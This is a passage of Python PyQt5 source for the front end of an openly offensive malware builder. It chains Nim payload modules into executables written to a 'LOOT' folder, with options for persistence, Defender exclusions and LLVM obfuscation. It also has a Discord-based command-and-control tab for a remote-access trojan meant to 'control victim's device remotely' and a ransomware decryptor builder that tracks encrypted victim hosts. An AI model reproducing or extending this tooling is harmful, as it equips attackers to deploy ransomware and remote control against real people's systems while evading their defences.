        uncrash_image_label = QLabel()
        uncrash_image_path = os.path.join(self.script_dir, "ASSETS", "unkrash.png")
        pixmap = QPixmap(uncrash_image_path)
        if not pixmap.isNull():
            uncrash_image_label.setPixmap(pixmap.scaled(400, 400, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        uncrash_image_label.setAlignment(Qt.AlignCenter)

        bottom_section_layout.addWidget(left_column_widget, 6)
        bottom_section_layout.addWidget(uncrash_image_label, 4) 

        uncrash_layout.addLayout(bottom_section_layout)

        c2_widget = QWidget()
        c2_main_layout = QHBoxLayout(c2_widget)
        c2_main_layout.setContentsMargins(15, 15, 15, 15)

        c2_left_column_widget = QWidget()
        c2_left_layout = QVBoxLayout(c2_left_column_widget)
        c2_left_layout.setContentsMargins(0, 0, 0, 0)
        
        c2_header_layout = QHBoxLayout()
        c2_title = QLabel("COMMAND AND CONTROL")
        c2_title.setFont(title_font)
        c2_header_layout.addWidget(c2_title)
        c2_left_layout.addLayout(c2_header_layout)

        c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload. \nControl victim's device remotely")
        c2_desc.setFont(subtitle_font)
        c2_desc.setStyleSheet("color: #00A9FD;")
        c2_desc.setWordWrap(True)
        c2_left_layout.addWidget(c2_desc)

        self.c2_connect_btn = QPushButton("Connect")
        self.c2_connect_btn.clicked.connect(self.toggle_c2_connection)
        c2_left_layout.addWidget(self.c2_connect_btn)

        self.c2_log = QTextEdit()
        self.c2_log.setReadOnly(True)
        self.c2_log.setFont(subtitle_font)
        self.c2_log.setStyleSheet("background-color: #1D1D1F;")
        c2_left_layout.addWidget(self.c2_log)

        c2_input_layout = QHBoxLayout()
        self.c2_cmd_input = QLineEdit()
        self.c2_cmd_input.setPlaceholderText("Enter command to send...")
        self.c2_cmd_input.returnPressed.connect(self.send_c2_message)
        self.c2_cmd_input.setEnabled(False)

        self.c2_send_btn = QPushButton("Send")
        self.c2_send_btn.clicked.connect(self.send_c2_message)
        self.c2_send_btn.setEnabled(False)

        c2_input_layout.addWidget(self.c2_cmd_input, 1)
        c2_input_layout.addWidget(self.c2_send_btn)
        c2_left_layout.addLayout(c2_input_layout)

        c2_image_label = QLabel()
        c2_image_path = os.path.join(self.script_dir, "ASSETS", "c2.png")
        pixmap = QPixmap(c2_image_path)
        if not pixmap.isNull():
            c2_image_label.setPixmap(pixmap.scaled(300, 800, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        c2_image_label.setAlignment(Qt.AlignCenter)

        c2_main_layout.addWidget(c2_left_column_widget, 6)
        c2_main_layout.addWidget(c2_image_label, 4)

        settings_widget = QWidget()
        settings_layout = QVBoxLayout(settings_widget)
        settings_layout.setContentsMargins(0, 15, 0, 15)

        def create_setting_layout(label_text, input_widget, description_text):
            setting_layout = QVBoxLayout()
            label_layout = QHBoxLayout()
            label = QLabel(label_text)
            label.setFont(subtitle_font)
            desc_label = QLabel(description_text)
            desc_label.setFont(QFont("Arial", 8))
            desc_label.setStyleSheet("color: #808080;")
            desc_label.setWordWrap(True)
            setting_layout.setContentsMargins(15, 0, 15, 0)
            label_layout.addWidget(label)
            setting_layout.addLayout(label_layout)
            setting_layout.addWidget(input_widget)
            setting_layout.addWidget(desc_label)
            setting_layout.addSpacing(10)
            return setting_layout

        listener_token_label = QLabel("Listener Bot Token")
        self.settings_discord_token_edit = QLineEdit()
        listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality."
        listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc)
        settings_layout.addLayout(listener_layout)

        listener_creator_id_label = QLabel("Discord User ID")
        self.settings_listener_creator_id_edit = QLineEdit()
        listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
        listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
        settings_layout.addLayout(listener_creator_id_layout)

        settings_layout.addSpacing(20)

        installer_group = QGroupBox("Dependency Installation")
        installer_group.setFont(title_font)
        installer_layout = QVBoxLayout(installer_group)
        installer_layout.setContentsMargins(15, 0, 15, 0)
        
        installer_desc = QLabel("Install the core compilers and their required packages. It is recommended to run these in order.")
        installer_desc.setFont(subtitle_font)
        installer_desc.setWordWrap(True)
        installer_layout.addWidget(installer_desc)

        # New buttons for Nim and Rust installation
        self.install_nim_tool_btn = QPushButton("Install Nim")
        self.install_nim_tool_btn.clicked.connect(self.install_nim_tool)
        installer_layout.addWidget(self.install_nim_tool_btn)

        self.install_rust_tool_btn = QPushButton("Install Rust")
        self.install_rust_tool_btn.clicked.connect(self.install_rust_tool)
        installer_layout.addWidget(self.install_rust_tool_btn)

        self.install_py_btn = QPushButton("Install Python Packages")
        self.install_py_btn.clicked.connect(self.run_python_installer)
        installer_layout.addWidget(self.install_py_btn)

        self.install_nim_btn = QPushButton("Install Nimble Packages")
        self.install_nim_btn.clicked.connect(self.run_nim_installer)
        installer_layout.addWidget(self.install_nim_btn)

        openssl_note = QLabel('For Windows, if the Nim build fails with SSL errors, you may need to manually download OpenSSL from <a href="https://openssl-library.org/source/">https://openssl-library.org/source/</a>')
        openssl_note.setOpenExternalLinks(True)
        openssl_note.setFont(QFont("Arial", 8))
        openssl_note.setStyleSheet("color: #808080;")
        openssl_note.setWordWrap(True)
        installer_layout.addWidget(openssl_note)

        self.install_rust_btn = QPushButton("Install Rust Targets")
        self.install_rust_btn.clicked.connect(self.run_rust_installer)
        installer_layout.addWidget(self.install_rust_btn)

        docker_group = QGroupBox("Obfuscation Dependencies (Optional)")
        docker_group.setFont(title_font)
        docker_layout = QVBoxLayout(docker_group)
        docker_layout.setContentsMargins(0, 0, 0, 0)

        docker_desc = QLabel("The obfuscation feature requires Docker. This will pull the large Obfuscator-LLVM image from the container registry.")
        docker_desc.setFont(subtitle_font)
        docker_desc.setWordWrap(True)
        docker_layout.addWidget(docker_desc)

        self.install_docker_btn = QPushButton("Pull Docker Image")
        self.install_docker_btn.clicked.connect(self.run_docker_installer)
        docker_layout.addWidget(self.install_docker_btn)

        installer_layout.addWidget(docker_group)

        self.installer_buttons = [self.install_nim_tool_btn, self.install_rust_tool_btn, self.install_py_btn, self.install_nim_btn, self.install_rust_btn, self.install_docker_btn]


        settings_layout.addWidget(installer_group)

        settings_layout.addStretch()

        save_settings_btn = QPushButton("Save Settings")
        save_settings_btn.setFont(subtitle_font)
        save_settings_btn.clicked.connect(self.save_settings)
        save_btn_container = QWidget()
        save_btn_layout = QHBoxLayout(save_btn_container)
        save_btn_layout.setContentsMargins(15, 0, 15, 0)
        save_btn_layout.addWidget(save_settings_btn)
        settings_layout.addWidget(save_btn_container)


        self.tab_widget.addTab(builder_widget, "BUILDER")
        self.tab_widget.addTab(output_widget, "OUTPUT")
        self.tab_widget.addTab(c2_widget, "C2")
        self.tab_widget.addTab(uncrash_widget, "KRASH")
        self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR")
        self.tab_widget.addTab(docs_widget, "DOCUMENTATION")
        self.tab_widget.addTab(settings_widget, "SETTINGS")
        self.update_loot_folder_view()
        self.update_all_option_values()
        self.update_module_table() 
        self.update_options_layout()
        self.update_windows_only_options(self.target_os_combo.currentText())

    def on_tab_changed(self, index):
        if self.tab_widget.tabText(index) == "OUTPUT":
            self.update_loot_folder_view()
        elif self.tab_widget.tabText(index) == "GARBAGE COLLECTOR":
            self.update_restore_destination_view()

    def open_loot_folder(self):
        loot_dir = Path(self.script_dir) / 'LOOT'
        if not loot_dir.is_dir():
            self.log_message(f"loot directory not found: {loot_dir}", "error")
            loot_dir.mkdir(exist_ok=True)
            self.log_message(f"created loot directory: {loot_dir}", "system")

        if sys.platform == "win32":
            os.startfile(loot_dir)
        elif sys.platform == "darwin":
            subprocess.Popen(["open", str(loot_dir)])
        else:
            subprocess.Popen(["xdg-open", str(loot_dir)])
        self.update_loot_folder_view()

    def update_loot_folder_view(self):
        self.loot_files_list.clear()
        loot_dir = Path(self.script_dir) / 'LOOT'
        if not loot_dir.is_dir():
            self.loot_files_list.addItem("loot directory not found")
            return
        try:
            files = [f for f in loot_dir.iterdir() if f.is_file()]
            if not files:
                self.loot_files_list.addItem("loot directory is empty")
                return

            for file_path in sorted(files, key=os.path.getmtime, reverse=True):
                self.loot_files_list.addItem(QListWidgetItem(file_path.name))
        except Exception as e:
            self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")

    def update_options_layout(self, focused_module=None):
        for i in reversed(range(self.options_layout.count())):
            layout_item = self.options_layout.itemAt(i)
            if layout_item.widget():
                layout_item.widget().deleteLater()
            elif layout_item.layout():
                while layout_item.layout().count():
                    child = layout_item.layout().takeAt(0)
                    if child.widget():
                        child.widget().deleteLater()
                layout_item.layout().deleteLater()
            elif layout_item.spacerItem():
                self.options_layout.removeItem(layout_item)
        self.option_inputs.clear()

        subtitle_font = QFont()
        subtitle_font.setPointSize(10)

        title_font = QFont()
        title_font.setBold(True)
        title_font.setPointSize(12)

        title_font = QFont()
        title_font.setBold(True)
        title_font.setPointSize(12)

        if not self.selected_modules:
            icon_label = QLabel()
            icon_path = os.path.join(self.script_dir, "ASSETS", "normal.png")
            pixmap = QPixmap(icon_path)
            if not pixmap.isNull():
                icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
            else:
                icon_label.setText("Add a module to see its options")
            icon_label.setAlignment(Qt.AlignCenter)
            self.options_layout.addStretch()
            self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
            self.module_options_group.setTitle("MODULE OPTIONS")
            return

        modules_to_show = [focused_module] if focused_module else self.selected_modules

        if focused_module:
            self.module_options_group.setTitle(f"{focused_module.split('/')[-1].upper()} OPTIONS")
            self.module_options_group.setFont(title_font)
        else:
            self.module_options_group.setTitle("MODULE OPTIONS")

        has_any_options = False
        for module_name in modules_to_show:
            if module_name not in MODULE_OPTIONS or not MODULE_OPTIONS[module_name]:
                continue

            has_any_options = True

            if not focused_module and len(self.selected_modules) > 1:
                module_label = QLabel(f"{module_name.split('/')[-1].upper()} OPTIONS")
                module_label.setStyleSheet("font-weight: bold; color: #999;")
                module_label.setFont(title_font)
                self.options_layout.addWidget(module_label)

            module_defaults = MODULE_OPTIONS.get(module_name, {})
            module_current_values = self.current_option_values.get(module_name, {})
            
            for option, default_value in module_defaults.items():
                value = module_current_values.get(option, default_value)
                option_row = QHBoxLayout()
                option_label = QLabel(f"{option}:")
                option_label.setFont(subtitle_font)
                option_label.setStyleSheet("color: #F4A87C;")
                if option in ['persistence', 'defenderExclusion']:
                    input_widget = QCheckBox()
                    input_widget.setFont(subtitle_font)
                    try:
                        is_checked = str(value).lower() in ('true', '1', 'yes', 'on')
                        input_widget.setChecked(is_checked)
                    except:
                        input_widget.setChecked(False)
                else:
                    input_widget = QLineEdit(value)
                    input_widget.setFont(subtitle_font)

                if option in ['nimFile', 'embedFiles', 'dumpsterFile', 'inputDir', 'outputDir', 'targetDir']:
                    browse_btn = QPushButton("Browse...")
                    if option == 'embedFiles':
                        browse_btn.clicked.connect(partial(self.browse_open_files, input_widget))
                    else:
                        browse_btn.clicked.connect(partial(self.browse_open_file, input_widget))
                    option_row.addWidget(browse_btn)

                option_row.addWidget(option_label)
                option_row.addWidget(input_widget)
                self.options_layout.addLayout(option_row)
                self.option_inputs[f"{module_name}:{option}"] = input_widget
            if not focused_module:
                self.options_layout.addSpacing(10)

        if not has_any_options:
            no_options_label = QLabel("No configurable options for the selected module(s).")
            no_options_label.setFont(subtitle_font)
            no_options_label.setAlignment(Qt.AlignCenter)
            self.options_layout.addStretch()
            self.options_layout.addWidget(no_options_label, 0, Qt.AlignCenter)
            self.options_layout.addStretch()
        else:
            self.options_layout.addStretch()

    def update_all_option_values(self):
        """Gathers current values from all input widgets into self.current_option_values."""
        for key, widget in self.option_inputs.items():
            module_name, option_name = key.split(":")
            if module_name not in self.current_option_values:
                self.current_option_values[module_name] = {}
            
            if isinstance(widget, QLineEdit):
                value = widget.text()
            elif isinstance(widget, QCheckBox):
                value = str(widget.isChecked()).lower()
            else:
                continue
            self.current_option_values[module_name][option_name] = value

    def add_module(self):
        module_name = self.module_combo.currentText()
        if module_name == "SELECT MODULE":
            self.log_message("Error: No module selected.", "error")
            return
        full_module = f"module/{module_name}"
        if full_module in self.selected_modules:
            self.log_message(f"Error: Module {module_name} already added.", "error")
            return
        if full_module in MODULES:
            self.selected_modules.append(full_module)
            self.log_message(f"Added module: {module_name}", "success")
            self.update_all_option_values()
            self.update_module_table()
            self.update_options_layout()

    def remove_module(self, module_to_remove):
        """Removes a module from the selected_modules list by its full path."""
        if module_to_remove in self.selected_modules:
            self.selected_modules.remove(module_to_remove)
            module_name = os.path.basename(module_to_remove)
            self.log_message(f"Removed module: {module_name}", "system")
            self.update_all_option_values()
            self.update_module_table()
            self.update_options_layout()

    def on_module_item_clicked(self, item):
        """When a module in the chain is clicked, show its specific options."""
        self.update_options_layout(focused_module=item.data(Qt.UserRole))

    def reorder_modules(self, new_order):
        if self.selected_modules == new_order:
            return
        self.log_message("Module chain reordered.", "system")
        self.selected_modules = new_order
        self.update_module_table() 
 
    def update_module_table(self):
        self.module_table.setRowCount(len(self.selected_modules))
        for i, module in enumerate(self.selected_modules):
            module_name = module.split('/')[-1]
            name_item = QTableWidgetItem(module_name) 
            name_item.setFont(QFont("Arial", 10))
            name_item.setData(Qt.UserRole, module)
            name_item.setTextAlignment(Qt.AlignLeft | Qt.AlignVCenter)
            self.module_table.setItem(i, 0, name_item)

            remove_btn = QPushButton("X")
            remove_btn.setFont(QFont("Arial", 8))
            remove_btn.clicked.connect(partial(self.remove_module, module))
            self.module_table.setCellWidget(i, 1, remove_btn)

        for i in range(self.module_table.rowCount()):
            self.module_table.setRowHeight(i, 30)

    def toggle_obfuscation(self):
        self.ollvm_input.setEnabled(self.obfuscate_check.isChecked())

    def update_windows_only_options(self, os_name):
        if os_name in ("linux", "macos"):
            self.hide_console_check.setEnabled(False)
            self.obfuscate_check.setEnabled(False)
            self.obfuscate_check.setChecked(False)
            self.ollvm_input.setEnabled(False)
        else:
            self.hide_console_check.setEnabled(True)
            self.obfuscate_check.setEnabled(True)
            self.toggle_obfuscation()


    def show_loading_view(self):
        for i in reversed(range(self.options_layout.count())):
            layout_item = self.options_layout.itemAt(i)
            if layout_item.widget():
                layout_item.widget().deleteLater()
            elif layout_item.layout():
                while layout_item.layout().count():
                    child = layout_item.layout().takeAt(0)
                    if child.widget():
                        child.widget().deleteLater()
                layout_item.layout().deleteLater()
            elif layout_item.spacerItem():
                self.options_layout.removeItem(layout_item)

        self.option_inputs.clear()

        icon_label = QLabel()
        icon_path = os.path.join(self.script_dir, "ASSETS", "loading.gif")
        self.loading_movie = QMovie(icon_path)
        if not self.loading_movie.isValid():
            icon_label.setText("Building...")
            icon_label.setStyleSheet("color: #F4A87C;")
        else:
            icon_label.setMovie(self.loading_movie)
            original_size = self.loading_movie.frameRect().size()
            scaled_size = original_size.scaled(500, 500, Qt.KeepAspectRatio)
            self.loading_movie.setScaledSize(scaled_size)
            self.loading_movie.start()
        icon_label.setAlignment(Qt.AlignCenter)
        self.options_layout.addStretch()
        self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
        self.options_layout.addStretch()
        QApplication.processEvents()

    def clear_loading_view(self):
        if self.loading_movie:
            self.loading_movie.stop()
            self.loading_movie = None
        for i in reversed(range(self.options_layout.count())):
            layout_item = self.options_layout.itemAt(i)
            if layout_item.widget():
                layout_item.widget().deleteLater()
            elif layout_item.layout():
                while layout_item.layout().count():
                    child = layout_item.layout().takeAt(0)
                    if child.widget():
                        child.widget().deleteLater()
                layout_item.layout().deleteLater()
            elif layout_item.spacerItem():
                self.options_layout.removeItem(layout_item)

    def log_message(self, message, msg_type="system"):
        if msg_type == "error":
            color = "#D81960"
        elif msg_type == "success":
            color = "#B7CE42"
        elif msg_type == "system":
            color = "#FFA473"
        else:
            color = "#00A9FD"
        
        if msg_type == "c2_sent":
            color = "#e0e0e0"
        elif msg_type == "c2_recv":
            color = "#B7CE42"


        if not message.strip():
            return

        self.output_log.append(f'<font color="{color}">{message}</font>')

    def show_result_view(self, is_success):
        self.clear_loading_view()
        image_name = "success.png" if is_success else "error.png"
        fallback_text = "SUCCESS" if is_success else "BUILD FAILED"

        icon_label = QLabel()
        icon_path = os.path.join(self.script_dir, "ASSETS", image_name)
        pixmap = QPixmap(icon_path)
        if not pixmap.isNull():
            icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        else:
            icon_label.setText(fallback_text)
            icon_label.setStyleSheet(f"color: {'#B7CE42' if is_success else '#D81960'}; font-size: 24px; font-weight: bold;")

        icon_label.setAlignment(Qt.AlignCenter)
        self.options_layout.addStretch()
        self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
        self.options_layout.addStretch()
        QApplication.processEvents()

    def restore_options_after_build(self):
        self.clear_loading_view()
        self.update_options_layout()

    def build_finished(self, return_code):
        self.clear_loading_view()
        is_success = (return_code == 0)

        if is_success:
            self.log_message("\n[+] Build finished successfully.", "success")
            self.module_options_group.setTitle("BUILD SUCCESS")
            self.update_loot_folder_view()
        else:
            self.log_message(f"\n[-] Build failed with exit code {return_code}.", "error")
            self.module_options_group.setTitle("ERROR SEE OUTPUT TAB")

        self.show_result_view(is_success)

        QTimer.singleShot(3000, self.restore_options_after_build)

        self.build_btn.setEnabled(True)

    def run_compiler(self):
        if not self.selected_modules:
            self.log_message("Error: No modules selected.", "error")
            return
        if not self.exe_name_input.text():
            self.log_message("Error: Output executable name is required.", "error")
            return
        if len(self.selected_modules) == 1:
            self.log_message("Error: At least two modules are required to build a chain.", "error")
            self.tab_widget.setCurrentIndex(1) # Switch to OUTPUT tab
            return

        loot_dir = Path(self.script_dir) / 'LOOT'
        loot_dir.mkdir(exist_ok=True)
        exe_name = self.exe_name_input.text()
        output_path = loot_dir / exe_name

        module_files = [f"MODULE/{Path(m).name}.nim" for m in self.selected_modules]
        cmd = [sys.executable, "compiler.py"]
        if len(self.selected_modules) > 1:
            cmd.extend(["--merge"] + module_files)
        elif module_files:
            cmd.extend(["--nim_file", module_files[0]])
        cmd.extend(["--output_exe", str(output_path)])
        target = f"{self.target_os_combo.currentText()}:{self.target_arch_combo.currentText()}"
        cmd.extend(["--target", target])

        self.update_all_option_values()

        options = []
        for module_name in self.selected_modules:
            if module_name in self.current_option_values:
                for option_name, value in self.current_option_values[module_name].items():
                    options.append(f"--option={option_name}={value}")

        if 'module/dumpster' in self.selected_modules:
            if not any("collectMode" in opt or "restoreMode" in opt for opt in options):
                 options.append("--option=collectMode=true")

        if self.obfuscate_check.isChecked():
            cmd.append("--obfuscate")
            if self.ollvm_input.text():
                cmd.extend(["--ollvm", self.ollvm_input.text().strip()])

        if self.hide_console_check.isChecked() and self.target_os_combo.currentText() == "windows":
            cmd.append("--hide-console")

        cmd.extend(options)

        self.module_options_group.setTitle("BUILDING PAYLOAD...")
        self.show_loading_view()
        self.build_btn.setEnabled(False)
        self.output_log.clear()

        self.log_message(f"Running command: {' '.join(shlex.quote(c) for c in cmd)}\n", "system")
        self.build_thread = BuildThread(cmd)
        self.build_thread.log_signal.connect(self.log_message)
        self.build_thread.finished_signal.connect(self.build_finished)
        self.build_thread.start()

    def show_garbage_loading_view(self):
        for i in reversed(range(self.restore_dest_files_list.count())):
            item = self.restore_dest_files_list.takeItem(i)
            del item

        self.restore_dest_files_list.clear()
        icon_label = QLabel()
        icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
        pixmap = QPixmap(icon_path)
        if not pixmap.isNull():
            icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
        else:
            icon_label.setText("Restoring...")
        list_item = QListWidgetItem()
        list_widget = QWidget()
        layout = QHBoxLayout(list_widget)
        layout.addWidget(icon_label)
        layout.setAlignment(Qt.AlignCenter)
        list_item.setSizeHint(list_widget.sizeHint())
        self.restore_dest_files_list.addItem(list_item)
        self.restore_dest_files_list.setItemWidget(list_item, list_widget)
        QApplication.processEvents()

    def clear_garbage_loading_view(self):
        for i in reversed(range(self.restore_dest_files_list.count())):
            item = self.restore_dest_files_list.takeItem(i)
            del item

        self.restore_dest_files_list.clear()
        QApplication.processEvents()


    def browse_directory(self, line_edit):
        directory = QFileDialog.getExistingDirectory(self, "Select Directory")
        if directory:
            home_path = str(Path.home())
            if directory.startswith(home_path):
                directory = directory.replace(home_path, "$HOME", 1)

            line_edit.setText(directory)

    def browse_open_file(self, line_edit):
        file_path, _ = QFileDialog.getOpenFileName(self, "Open Dumpster File", "", "All Files (*)")
        if file_path:
            home_path = str(Path.home())
            if file_path.startswith(home_path):
                line_edit.setText(file_path.replace(home_path, "$HOME", 1))
            else:
                line_edit.setText(file_path)

    def browse_open_files(self, line_edit):
        """Opens a file dialog to select multiple files and populates the line_edit with a comma-separated list."""
        file_paths, _ = QFileDialog.getOpenFileNames(self, "Select Files to Embed", "", "All Files (*)")
        if file_paths:
            home_path = str(Path.home())
            processed_paths = []
            for path in file_paths:
                if path.startswith(home_path):
                    processed_paths.append(path.replace(home_path, "$HOME", 1))
                else:
                    processed_paths.append(path)
            
            # Append to existing list or create a new one
            line_edit.setText(",".join(processed_paths))

    def run_garbage_collector_restore(self):
        self.update_restore_destination_view()
        dumpster_file = self.restore_dumpster_file_edit.text()
        output_dir = self.restore_output_dir_edit.text()
        if not dumpster_file or not output_dir:
            self.log_message("Error: Both dumpster file and output directory are required for restoration.", "error")
            return

        self.show_garbage_loading_view()
        self.tab_widget.setCurrentIndex(1)
        self.output_log.clear()

        cmd = [
            sys.executable, "compiler.py",
            "--nim_file", "MODULE/dumpster.nim",
            "--output_exe", str(Path(tempfile.gettempdir()) / "rabids_restore_tool"),
            "--option=restoreMode=true", f"--option=dumpsterFile={dumpster_file}", f"--option=outputDir={output_dir}"
        ]
        self.log_message(f"Running command: {' '.join(shlex.quote(c) for c in cmd)}", "system")
        self.build_thread = BuildThread(cmd)
        self.build_thread.log_signal.connect(self.log_message)
        self.build_thread.finished_signal.connect(self.build_finished)
        self.build_thread.start()

    def run_uncrash_compiler(self):
        exe_name = self.uncrash_exe_name_edit.text()
        if not exe_name:
            self.log_message("Error: Decryptor executable name is required.", "error")
            return

        self.tab_widget.setCurrentIndex(1)
        self.output_log.clear()
        self.log_message("Building decryptor...", "system")

        loot_dir = Path(self.script_dir) / 'LOOT'
        loot_dir.mkdir(exist_ok=True)
        output_path = loot_dir / exe_name

        key = self.uncrash_key_edit.text()
        iv = self.uncrash_iv_edit.text()
        ext = self.uncrash_ext_edit.text()

        cmd = [
            sys.executable, "compiler.py",
            "--nim_file", "MODULE/krash.nim",
            "--output_exe", str(output_path),
            "--target", f"{self.uncrash_os_combo.currentText()}:{self.uncrash_arch_combo.currentText()}",
            "--nim-only"
        ]

        options = [
            f"--option=key={key}",
            f"--option=iv={iv}",
            f"--option=extension={ext}",
            "--option=decrypt"
        ]
        cmd.extend(options)

        self.log_message(f"Running command: {' '.join(shlex.quote(c) for c in cmd)}\n", "system")
        self.build_thread = BuildThread(cmd)
        self.build_thread.log_signal.connect(self.log_message)
        self.build_thread.finished_signal.connect(self.build_finished)
        self.build_thread.start()

    def run_dependency_installer(self, commands):
        self.tab_widget.setCurrentIndex(self.tab_widget.indexOf(self.tab_widget.findChild(QWidget, "OUTPUT")))
        self.output_log.clear()
        self.log_message("Starting dependency installation...", "system")

        for btn in self.installer_buttons:
            btn.setEnabled(False)

        self.installer_thread = DependencyInstallerThread(commands)
        self.installer_thread.log_signal.connect(self.log_message)
        self.installer_thread.finished_signal.connect(self.on_installer_finished)
        self.installer_thread.start()

    def install_nim_tool(self):
        if sys.platform == "win32":
            from PyQt5.QtGui import QDesktopServices
            QDesktopServices.openUrl(QUrl("https://nim-lang.org/install_windows.html"))
            self.log_message("Opened browser to Nim installation page for Windows. Please download and run the installer.", "system")
        else:
            cmd = "curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y"
            self.run_dependency_installer([cmd])

    def install_rust_tool(self):
        if sys.platform == "win32":
            from PyQt5.QtGui import QDesktopServices
            QDesktopServices.openUrl(QUrl("https://www.rust-lang.org/tools/install"))
            self.log_message("Opened browser to Rust installation page for Windows. Please download and run rustup-init.exe.", "system")
        else:
            cmd = "curl --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y"
            self.run_dependency_installer([cmd])

    def on_installer_finished(self):
        self.log_message("Dependency installation process finished.", "success")
        for btn in self.installer_buttons:
            btn.setEnabled(True)

    def run_python_installer(self):
        commands = [
            (sys.executable, "-m", "pip", "install", "--break-system-packages", "PyQt5", "discord"),
        ]
        self.run_dependency_installer(commands)

    def run_nim_installer(self):
        commands = [
            ("nimble", "install", "winim", "openssl", "discord", "nimcrypto", "clipb", "dimscord", "httpclient", "threadpool"),
        ]
        self.run_dependency_installer(commands)

    def run_rust_installer(self):
        commands = [
            ("rustup", "target", "add", "x86_64-pc-windows-gnu"),
            ("rustup", "target", "add", "aarch64-pc-windows-gnu"),
        ]
        self.run_dependency_installer(commands)

    def run_docker_installer(self):
        commands = [
            ("docker", "pull", "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest")
        ]
        self.run_dependency_installer(commands)

    def toggle_c2_connection(self):
        if self.c2_thread and self.c2_thread.isRunning():
            self.c2_thread.stop()
        else:
            token = self.settings_discord_token_edit.text().strip()
            target_id = self.settings_listener_creator_id_edit.text().strip()
            if not token or not target_id:
                self.log_c2_message("Bot Token and Target User ID are required.", "error")
                return
            
            self.c2_log.clear()
            self.log_c2_message("Connecting to Discord...", "system")
            self.c2_thread = C2Thread(token, target_id)
            self.c2_thread.log_message.connect(self.log_c2_message)
            self.c2_thread.connection_status.connect(self.on_c2_connection_status_changed)
            self.c2_thread.start()

    def on_c2_connection_status_changed(self, is_connected):
        self.c2_cmd_input.setEnabled(is_connected)
        self.c2_send_btn.setEnabled(is_connected)
        if is_connected:
            self.c2_connect_btn.setText("Disconnect")
        else:
            self.c2_connect_btn.setText("Connect")
            if self.c2_thread:
                self.c2_thread.quit()
                self.c2_thread.wait()
                self.c2_thread = None

    def log_c2_message(self, message, msg_type):
        color_map = {"error": "#D81960", "success": "#B7CE42", "system": "#FFA473", "c2_sent": "#e0e0e0", "c2_recv": "#B7CE42", "c2_debug": "#888888"}
        color = color_map.get(msg_type, "#00A9FD")
        self.c2_log.append(f'<font color="{color}">{message}</font>')

    def send_c2_message(self):
        content = self.c2_cmd_input.text().strip()
        if content and self.c2_thread and self.c2_thread.isRunning():
            self.c2_thread.send_message(content)
            self.c2_cmd_input.clear()

    def toggle_discord_listener(self):
        if self.discord_thread and self.discord_thread.isRunning():
            self.discord_thread.stop()
            self.toggle_listener_btn.setText("Connect")
            self.log_message("Discord listener disconnected.", "system")
        else:
            token = self.settings_discord_token_edit.text().strip()
            if not token:
                self.log_message("Error: Discord listener bot token is required.", "error")
                self.tab_widget.setCurrentIndex(self.tab_widget.indexOf(self.tab_widget.findChild(QWidget, "SETTINGS")))
                return

            creator_id = self.settings_listener_creator_id_edit.text().strip()

            if self.discord_thread and self.discord_thread.isRunning():
                self.log_message("Listener is already running.", "system")
                return

            self.discord_thread = DiscordListenerThread(token, creator_id)
            self.discord_thread.device_status_update.connect(self.update_device_status)
            self.discord_thread.start()
            self.toggle_listener_btn.setText("Disconnect")

    def on_discord_listener_status_changed(self, is_connected):
        self.toggle_listener_btn.setText("Disconnect" if is_connected else "Connect")
        if not is_connected and self.discord_thread:
            self.discord_thread = None

    def refresh_discord_listener(self):
        if self.discord_thread and self.discord_thread.isRunning():
            self.log_message("Requesting message refresh from Discord...", "system")
            self.discord_thread.refresh_messages()
        else:
            self.log_message("Error: Discord listener is not connected.", "error")

    def update_device_status(self, hostname, status):
        if hostname == "SYSTEM" or hostname == "ERROR":
            msg_type = "error" if hostname == "ERROR" else "system"
            self.log_message(f"Listener: {status}", msg_type)
            if "failed" in status:
                self.toggle_listener_btn.setText("Connect")
                self.toggle_listener_btn.setEnabled(True)
                self.on_discord_listener_status_changed(False)
        for row in range(self.encrypted_devices_table.rowCount()):
            item = self.encrypted_devices_table.item(row, 0)
            if item and item.text() == hostname:
                if status == "Decrypted":
                    self.encrypted_devices_table.removeRow(row) 
                return
        
        if status == "Encrypted":
            row_position = self.encrypted_devices_table.rowCount()
            self.log_message(f"Encryption confirmed on: {hostname}", "success")
            self.encrypted_devices_table.insertRow(row_position)
            self.encrypted_devices_table.setItem(row_position, 0, QTableWidgetItem(hostname))

    def update_restore_destination_view(self):
        self.clear_garbage_loading_view()
        self.restore_dest_files_list.clear()
        dest_dir_str = self.restore_output_dir_edit.text()
        if not dest_dir_str:
            self.restore_dest_files_list.addItem("Select a destination directory to see its contents.")
            return

        dest_dir = Path(dest_dir_str)
        if not dest_dir.is_dir():
            self.restore_dest_files_list.addItem(f"Directory does not exist: {dest_dir}")
            return
        try:
            files = list(dest_dir.iterdir())
            if not files:
                self.restore_dest_files_list.addItem("Destination directory is empty.")
                return
            for item_path in sorted(files):
                self.restore_dest_files_list.addItem(QListWidgetItem(item_path.name))
        except Exception as e:
            self.restore_dest_files_list.addItem(f"Error reading directory: {e}")

    def get_config_path(self):
        return os.path.join(self.script_dir, "rabids_config.json")

    def save_settings(self):
        self.update_all_option_values()
        config = {
            "builder": {
                "exe_name": self.exe_name_input.text(),
                "target_os": self.target_os_combo.currentText(),
                "target_arch": self.target_arch_combo.currentText(),
                "hide_console": self.hide_console_check.isChecked(),
                "obfuscate": self.obfuscate_check.isChecked(),
                "ollvm": self.ollvm_input.text(),
                "module_chain": self.selected_modules,
